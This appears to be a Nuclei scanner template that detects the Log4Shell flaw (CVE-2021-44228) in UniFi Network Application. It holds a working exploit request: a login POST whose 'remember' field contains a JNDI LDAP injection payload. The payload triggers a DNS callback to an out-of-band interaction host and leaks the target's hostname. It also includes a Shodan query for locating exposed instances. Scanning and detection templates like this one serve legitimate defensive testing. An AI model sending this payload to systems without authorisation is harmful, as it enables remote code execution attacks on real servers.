67 lines
2.3 KiB
YAML
67 lines
2.3 KiB
YAML
id: unifi-network-log4j-rce
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info:
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name: UniFi Network Application - Remote Code Execution (Apache Log4j)
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author: KrE80r
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severity: critical
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description: |
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UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.
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reference:
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- https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
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- https://twitter.com/sprocket_ed/status/1473301038832701441
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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shodan-query: http.title:"UniFi Network"
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tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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POST /api/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json; charset=utf-8
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Origin: {{RootURL}}
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Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage
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{"username":"user","password":"pass","remember":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}","strict":true}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4b0a00483046022100f7f4e5ee929f22d26cd74892d7a6e9bfe5bda85e9593576e7724e2ed58a938de0221008c46cf528288e1c38e8185911ecf9501f153e7e999e3d8fdcb9fe89096574d61:922c64590222798bb761d5b6d8e72950 |